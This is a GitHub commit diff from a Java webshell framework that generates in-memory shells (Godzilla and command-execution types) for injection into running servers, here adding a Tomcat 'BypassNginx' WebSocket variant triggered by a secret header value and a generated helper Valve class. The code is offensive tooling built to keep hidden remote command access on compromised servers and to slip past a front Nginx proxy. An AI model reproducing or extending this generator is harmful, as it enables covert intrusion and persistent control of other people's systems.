Skip to content

Commit e954989

Browse files
committed
feat: support Tomcat Command WebSocketBypassNginx
1 parent c1bb323 commit e954989

File tree

23 files changed

+868
-53
lines changed

23 files changed

+868
-53
lines changed

boot/src/main/java/com/reajason/javaweb/boot/dto/MemShellGenerateRequest.java

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -51,6 +51,8 @@ public ShellToolConfig parseShellToolConfig() {
5151
case Command -> CommandConfig.builder()
5252
.shellClassName(shellToolConfig.getShellClassName())
5353
.paramName(shellToolConfig.getCommandParamName())
54+
.headerName(shellToolConfig.getHeaderName())
55+
.headerValue(shellToolConfig.getHeaderValue())
5456
.template(shellToolConfig.getCommandTemplate())
5557
.encryptor(CommandConfig.Encryptor.fromString(shellToolConfig.getEncryptor()))
5658
.implementationClass(CommandConfig.ImplementationClass.fromString(shellToolConfig.getImplementationClass()))

generator/src/main/java/com/reajason/javaweb/memshell/MemShellGenerator.java

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -5,6 +5,7 @@
55
import com.reajason.javaweb.memshell.config.ShellConfig;
66
import com.reajason.javaweb.memshell.config.ShellToolConfig;
77
import com.reajason.javaweb.memshell.generator.InjectorGenerator;
8+
import com.reajason.javaweb.memshell.generator.WebSocketByPassHelperGenerator;
89
import com.reajason.javaweb.memshell.server.AbstractServer;
910
import com.reajason.javaweb.probe.ProbeContent;
1011
import com.reajason.javaweb.probe.ProbeMethod;
@@ -63,6 +64,11 @@ public static MemShellResult generate(ShellConfig shellConfig, InjectorConfig in
6364
injectorConfig.setShellClassName(shellToolConfig.getShellClassName());
6465
injectorConfig.setShellClassBytes(shellBytes);
6566

67+
if (ShellType.BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType())
68+
|| ShellType.JAKARTA_BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType())) {
69+
injectorConfig.setHelperClassBytes(WebSocketByPassHelperGenerator.getBytes(shellConfig, shellToolConfig));
70+
}
71+
6672
InjectorGenerator injectorGenerator = new InjectorGenerator(shellConfig, injectorConfig);
6773
byte[] injectorBytes = injectorGenerator.generate();
6874
if (shellConfig.isProbe() && !shellConfig.getShellType().startsWith(ShellType.AGENT)) {

generator/src/main/java/com/reajason/javaweb/memshell/ServerFactory.java

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -60,6 +60,8 @@ public class ServerFactory {
6060
.addShellClass(JAKARTA_PROXY_VALVE, Godzilla.class)
6161
.addShellClass(WEBSOCKET, GodzillaWebSocket.class)
6262
.addShellClass(JAKARTA_WEBSOCKET, GodzillaWebSocket.class)
63+
.addShellClass(BYPASS_NGINX_WEBSOCKET, GodzillaWebSocket.class)
64+
.addShellClass(JAKARTA_BYPASS_NGINX_WEBSOCKET, GodzillaWebSocket.class)
6365
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, GodzillaInterceptor.class)
6466
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, GodzillaInterceptor.class)
6567
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, GodzillaControllerHandler.class)
@@ -137,6 +139,8 @@ public class ServerFactory {
137139
.addShellClass(JAKARTA_PROXY_VALVE, Command.class)
138140
.addShellClass(WEBSOCKET, CommandWebSocket.class)
139141
.addShellClass(JAKARTA_WEBSOCKET, CommandWebSocket.class)
142+
.addShellClass(BYPASS_NGINX_WEBSOCKET, CommandWebSocket.class)
143+
.addShellClass(JAKARTA_BYPASS_NGINX_WEBSOCKET, CommandWebSocket.class)
140144
.addShellClass(UPGRADE, CommandUpgrade.class)
141145
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, CommandInterceptor.class)
142146
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, CommandInterceptor.class)

generator/src/main/java/com/reajason/javaweb/memshell/ShellType.java

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -45,7 +45,9 @@ public class ShellType {
4545
public static final String SPRING_WEBFLUX_HANDLER_METHOD = "HandlerMethod";
4646
public static final String SPRING_WEBFLUX_HANDLER_FUNCTION = "HandlerFunction";
4747
public static final String WEBSOCKET = "WebSocket";
48+
public static final String BYPASS_NGINX_WEBSOCKET = "BypassNginx" + WEBSOCKET;
4849
public static final String JAKARTA_WEBSOCKET = "JakartaWebSocket";
50+
public static final String JAKARTA_BYPASS_NGINX_WEBSOCKET = "JakartaWebBypassNginx" + WEBSOCKET;
4951

5052
public static final String ACTION = "Action";
5153
}

generator/src/main/java/com/reajason/javaweb/memshell/config/CommandConfig.java

Lines changed: 28 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -22,6 +22,18 @@ public class CommandConfig extends ShellToolConfig {
2222
@Builder.Default
2323
private String paramName = CommonUtil.getRandomString(8);
2424

25+
/**
26+
* 只有在 WebSocket Bypass 的时候才有用,防止对业务的干扰
27+
*/
28+
@Builder.Default
29+
private String headerName = "User-Agent";
30+
31+
/**
32+
* 只有在 WebSocket Bypass 的时候才有用,防止对业务的干扰
33+
*/
34+
@Builder.Default
35+
private String headerValue = CommonUtil.getRandomString(8);
36+
2537
/**
2638
* 加密器
2739
*/
@@ -48,6 +60,22 @@ public B paramName(String paramName) {
4860
}
4961
return self();
5062
}
63+
64+
public B headerName(final String headerName) {
65+
if (StringUtils.isNotBlank(headerName)) {
66+
this.headerName$value = headerName;
67+
headerName$set = true;
68+
}
69+
return self();
70+
}
71+
72+
public B headerValue(final String headerValue) {
73+
if (StringUtils.isNotBlank(headerValue)) {
74+
this.headerValue$value = headerValue;
75+
headerValue$set = true;
76+
}
77+
return self();
78+
}
5179
}
5280

5381

generator/src/main/java/com/reajason/javaweb/memshell/config/InjectorConfig.java

Lines changed: 9 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -16,37 +16,38 @@
1616
@AllArgsConstructor
1717
@Builder(toBuilder = true)
1818
public class InjectorConfig {
19-
/**
20-
* 注入器 Builder
21-
*/
22-
DynamicType.Builder<?> injectorBuilder;
23-
/**
24-
* 内存马 Builder
25-
*/
26-
DynamicType.Builder<?> shellBuilder;
2719
/**
2820
* 注入器模板类
2921
*/
3022
private Class<?> injectorClass;
23+
3124
/**
3225
* 注入器类名
3326
*/
3427
@Builder.Default
3528
private String injectorClassName = CommonUtil.generateInjectorClassName();
29+
3630
/**
3731
* 注入访问的地址
3832
*/
3933
@Builder.Default
4034
private String urlPattern = "/*";
35+
4136
/**
4237
* 内存马类名
4338
*/
4439
private String shellClassName;
40+
4541
/**
4642
* 内存马类字节
4743
*/
4844
private byte[] shellClassBytes;
4945

46+
/**
47+
* 辅助类字节码
48+
*/
49+
private byte[] helperClassBytes;
50+
5051
/**
5152
* 添加静态代码块调用构造方法初始化
5253
*/

generator/src/main/java/com/reajason/javaweb/memshell/generator/InjectorGenerator.java

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -49,6 +49,12 @@ public DynamicType.Builder<?> getBuilder() {
4949
.method(named("getBase64String")).intercept(FixedValue.value(base64String))
5050
.method(named("getClassName")).intercept(FixedValue.value(injectorConfig.getShellClassName()));
5151

52+
byte[] helperClassBytes = injectorConfig.getHelperClassBytes();
53+
if (helperClassBytes != null) {
54+
String helperBase64 = Base64.getEncoder().encodeToString(CommonUtil.gzipCompress(helperClassBytes));
55+
builder = builder.method(named("getHelperBase64String")).intercept(FixedValue.value(helperBase64));
56+
}
57+
5258
if (shellConfig.needByPassJavaModule()) {
5359
builder = ByPassJavaModuleInterceptor.extend(builder);
5460
}
Lines changed: 56 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,56 @@
1+
package com.reajason.javaweb.memshell.generator;
2+
3+
import com.reajason.javaweb.ClassBytesShrink;
4+
import com.reajason.javaweb.GenerationException;
5+
import com.reajason.javaweb.Server;
6+
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
7+
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
8+
import com.reajason.javaweb.memshell.config.CommandConfig;
9+
import com.reajason.javaweb.memshell.config.GodzillaConfig;
10+
import com.reajason.javaweb.memshell.config.ShellConfig;
11+
import com.reajason.javaweb.memshell.config.ShellToolConfig;
12+
import com.reajason.javaweb.memshell.shelltool.wsbypass.TomcatWsBypassValve;
13+
import com.reajason.javaweb.utils.CommonUtil;
14+
import net.bytebuddy.ByteBuddy;
15+
import net.bytebuddy.dynamic.DynamicType;
16+
import org.apache.commons.lang3.tuple.Pair;
17+
18+
import static net.bytebuddy.matcher.ElementMatchers.named;
19+
20+
/**
21+
* @author ReaJason
22+
* @since 2026/1/13
23+
*/
24+
public class WebSocketByPassHelperGenerator {
25+
public static byte[] getBytes(ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
26+
Pair<String, String> headerPair = getHeaderPair(shellToolConfig);
27+
if (headerPair == null) {
28+
throw new GenerationException("unsupported shell config: " + shellConfig.getShellTool());
29+
}
30+
31+
if (Server.Tomcat.equals(shellConfig.getServer())) {
32+
DynamicType.Builder<TomcatWsBypassValve> builder = new ByteBuddy()
33+
.redefine(TomcatWsBypassValve.class)
34+
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()))
35+
.field(named("headerName")).value(headerPair.getKey())
36+
.field(named("headerValue")).value(headerPair.getValue())
37+
.name(CommonUtil.generateClassName());
38+
if (shellConfig.isJakarta()) {
39+
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
40+
}
41+
try (DynamicType.Unloaded<TomcatWsBypassValve> dynamicType = builder.make()) {
42+
return ClassBytesShrink.shrink(dynamicType.getBytes(), shellConfig.isShrink());
43+
}
44+
}
45+
return null;
46+
}
47+
48+
private static Pair<String, String> getHeaderPair(ShellToolConfig shellToolConfig) {
49+
if (shellToolConfig instanceof CommandConfig) {
50+
return Pair.of(((CommandConfig) shellToolConfig).getHeaderName(), ((CommandConfig) shellToolConfig).getHeaderValue());
51+
} else if (shellToolConfig instanceof GodzillaConfig) {
52+
return Pair.of(((GodzillaConfig) shellToolConfig).getHeaderName(), ((GodzillaConfig) shellToolConfig).getHeaderValue());
53+
}
54+
return null;
55+
}
56+
}

0 commit comments

Comments
 (0)